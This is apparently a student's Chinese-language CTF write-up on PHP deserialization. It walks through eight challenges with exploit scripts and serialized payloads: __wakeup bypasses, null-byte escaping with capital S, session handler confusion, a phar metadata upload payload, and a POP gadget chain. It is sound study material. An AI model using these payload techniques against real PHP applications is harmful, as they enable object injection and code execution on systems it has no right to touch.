反序列化在CTF中的应用-基础篇
这篇文章是暑假写的,当时非常菜,打了几个比较简单的题,这里放下wp。
首先还得来点知识点,php一些常见魔术方法:
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
un1
这道题啊,给了个提示
所以flag是在flag1.php这个文件里的
简单的代码审计了一下,打开文件的操作在destruct里,反序列化的操作在最后,是用GET方法得到a的值然后将a反序列化。
其实主要就是看destruct里打开什么文件,好家伙打开的是index.php,那我们写exp的时候就要改成flag1.php。
等一下,中间是不是还有个wakeup?之前我们学过,wakeup魔术方法是在反序列化时触发的,而这里的wakeup是把file指向的文件改成index.php,这就很离谱了xdm,想要打开flag所在文件夹,那我们就必须绕过wakeup魔术方法,百度搜索了一下,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行
那就很好构造了,这里注意一下,file的类型是protected,也是查了一下public,private,protected三者的序列化有什么区别:
public的序列化看起来是最正常的
private的序列化: \00test(test是类名)\00b(b是成员名)
protected的序列化:\00*\00c(c是成员名)
所以我们在序列化的时候要注意protected的成员名前面要加\00*\00。
exp:
<?php
class SoFun{
protected $file='flag1.php';
}
$a=new SoFun();
$b=serialize($a);
var_dump($b);
?>
注意了,这里得到的序列化结果是O:5:"SoFun":1:{s:7:"*file";s:9:"flag1.php";}*,因为\00是不打印的,要手动加上去,然后把属性个数改一下,构造成O:5:"SoFun":2:{s:7:"\00\00file";s:9:"flag1.php";},是吧是觉得这就结束了?当然没有,我们是在url中传参的,我们知道\00是ascii中0代表的字符,那\00这个东西孤零零传的了吗?当然不行,这个时候,把代表file类型的s大写就可以了,这个大写的意义是什么呢?就是反序列化中为了避免信息丢失,使用大写S支持字符串的编码**。所以我们大写s就是使\00变成在序列化中有意义的含义。
最后将构造完的序列化结果传一下得到flag:
flag{1t'5_3@5y_t0_6yp@55_w@k34p}
un2
第一题日完了我们来淦一下plus版本啊。
上来就是一个include,搞得像是玩文件包含的。
代码审计一下啊,在if嵌套的那个if有一个正则匹配preg_match,就是个过滤的,防止对象被反序列化,那我们就是要让它被反序列化,那就得知道如何绕过正则匹配,这就不得不让我去温习一下正则表达式了qwq。
刨掉那些乱七八糟的东西,这道题我们只需要知道怎么绕过这个正则表达式匹配就行了,其实就是在对象长度的前面加一个+
号。上exp:
<?php
class funny{
}
$a=new funny();
$b=serialize($a);
var_dump($b);
?>
记住在url中+解析是空格,所以得用下urlencode编码一下防止加号没了,然后GET传参得到flag:
flag{p145_15_900d!}
un3
这道题中需要使funny中的password和werify变量的值相等,尝试了一下同时给两个变量赋值:
<?php
class funny{
private $password=1;
public $verify=1;
}
$a=new funny();
$b=serialize($a);
var_dump($b);
?>
很遗憾没有拿到flag,现在思考一下原因,麻了漏看个条件:$this->password = $nobodyknow;
在wakeup魔术方法里,password被nobodyknow赋值了,而nobodyknow这玩意是个全局变量,不可控,所以我们只能拿password下手了,发现直接赋值好像不太行,于是我就想到了引用,让verify的值为对password的引用,这俩就相等了,然后构造一下,下面都写序列化结果不写exp了:
O:5:"funny":2:{S:15:"/00funny/00password";N;s:6:"verify";R:2;}
这里的R就是指针引用,指向的是第二个对象,在序列化中,第一个对象是类,第二个对象才是类里的对象,所以这里的R:2的意思是verify是指向第二个对象也就是password的引用。而第一个大写的s上面解释过了。传一下得到flag:
flag{7r1p13_3q4@1s_is_9reat!}
un4
非常离谱的上来一个注释叫我们进un42.php。。。
仔细观察了一下两个php代码,发现ini_set有点不太一样,第一个用的是php_serialize,第二个则是php,查了一下,这是php的反序列化引擎。
session.serialize_handler存在以下几种:
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
使用过程中如果想要修改,使用
ini_set('session.serialize_handler','php_serialize');
但这里设置的handler如果和默认的不同,就会出问题
比如默认是php的handler,在该页面设置为php_serialize
这时如果我们传入一个 '|O:5:"Class"';,这样的一个数据,在储存时就会加上键名进行序列化,但是进行读取的时候还是会按照php handler来处理,以|作为键和值的分隔符,将前半部分当作键,后半部分当作值,然后进行反序列化。
所以只需要在对funny序列化的结果前面加个|就可以了,这样在进行反序列化的时候,由于第二个页面用的php,会把|后的当作值反序列化,达到触发的目的。
flag:
flag{53ssi0n_4ns3r@lize_is_very_e@sy}
un5
这题贼简单yysy,观察一下源码,其实就是过滤了不可见字符,这就是针对a变量了啊,因为它是private,上面提到过它序列化之后存在不可见字符,也就是\00,而且如果用%00会在payload被urldecode后也被检测拦截,所以这边我们还是利用大写S来绕过检测。
O:5:"funny":1{S:8:"\00funny\00a";s:10:"givemeflag";}
flag:flag{7h3_61n@ry_5tr1n9_5_i5_int3r3sting}
un6
这道题其实应用了php动态执行函数的能力,也就是使用变量名后加括号的方式来对函数进行调用。
仔细看,输出flag是在funny类里的pyflag函数中,那么如果我们想要调用这个函数,只需要使$a为pyflag就可以了,当然在调用此函数的时候要加上它所在的类,也就是funny.pyflag。这里构造要用到Array(new funny(),pyflag)
a:2:{i:0;O:5:"funny":0:{}i:1;s:6:"pyflag";}
flag:flag{Arr@y_c@11_1n5t@nc3_m3th0d}
un7
这题没有反序列化。。
但是我们依然看到了熟悉的魔术方法:__destruct,并且是从这里输出flag的,那么我们还是要想怎么触发这个魔术方法。
给提示了啊,Phar
那我们得先上传然后利用check和phar触发反序列化
这题困扰了我好久,主要一开始不了解phar,在网上搜寻一番之后发现一篇文章里面说:在php中反序列漏洞,形成的原因首先需要一个unserialize()
函数来处理我们传入的可控的序列化payload。但是如果对unserialize()
传入的内容进行限制,甚至就不存在可利用的unserialize()
函数的时候,就可以借助phar
协议触发反序列化操作了
嫖了一下人家博客的代码
<?php
class funny{
function __destruct() {
global $flag;
echo $flag;
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("Syc"."<?php __HALT_COMPILER(); ?>");
$o = new funny();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
//上面是生成phar文件的代码
$a=file_get_contents('./phar.phar');
file_put_contents('./testphar',base64_encode($a));
//获取文件中的信息用于构造payload上传
?>
先上传:
?action=upload&data=U3ljPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQpGAAAAAQAAABEAAAABAAAAAAAQAAAATzo1OiJmdW5ueSI6MDp7fQgAAAB0ZXN0LnR4dAQAAABOvB9hBAAAAAx%2Bf9i2AQAAAAAAAHRlc3QLTqvu7mb6YMk07fTsfat4c%2BiV9gIAAABHQk1C
会随机生成并返回一个文件路径,然后我们用check和phar打开一下得到flag:
flag{pH4r_lS_4Unny!!}
un8
来,我们来感受一下学长口中的ezPOP
首先还是找到输出flag的地方,在一个叫array_walk的函数里,而这个函数是是resolve函数的子函数,所以我们要想办法触发resolve函数。
下面简要解释一下这个题的pop链:首先是destruct方法调用了一个不存在的函数add从而触发了call方法,然后call方法中的函数直接调用了addMe函数,因为func变量代表的就是那个不存在的add函数,和Me拼接成为addMe函数,此时return了一个字符串,那就触发了toString方法,方法内指向了一个private类型的变量string,触发get方法,最后执行resolve函数。
这题主要要了解array_walk函数的用法,第一个参数是数组,而第二个参数是函数,这道题里的函数是直接放在了array_walk参数里面
PoC:
<?php
class a
{
public $object;
public function resolve()
{
array_walk($this, function ($fn, $prev)
{
if ($fn[0] === "system" && $prev === "ls") {
echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
}
});
}
public function __destruct()
{
@$this->object->add();
}
public function __toString()
{
return $this->object->string;
}
}
class b
{
protected $filename;
public function __construct()
{
$this->filename = new a();
$this->filename->object = new c(array("string" => array(new a(), 'resolve')));
}
protected function addMe()
{
return "Add Failed. Filename:" . $this->filename;
}
public function __call($func, $args)
{
call_user_func([$this, $func . "Me"], $args);
}
}
class c
{
private $string;
public function __construct($array)
{
$this->string = $array;
$this->string["string"][0]->ls = array("system");
}
public function __get($name){
$var = $this->$name;
$var[$name]();
}
}
$flag = new a();
$flag->object = new b();
$data = serialize($flag);
echo $data;
?>
依然要注意这里string是private,filename是protected。如果嫌麻烦可以考虑用urlencode一下。
得到flag:
flag{Add_Th3_4ttRibUt3_1s_g0oD_Ch0OsE}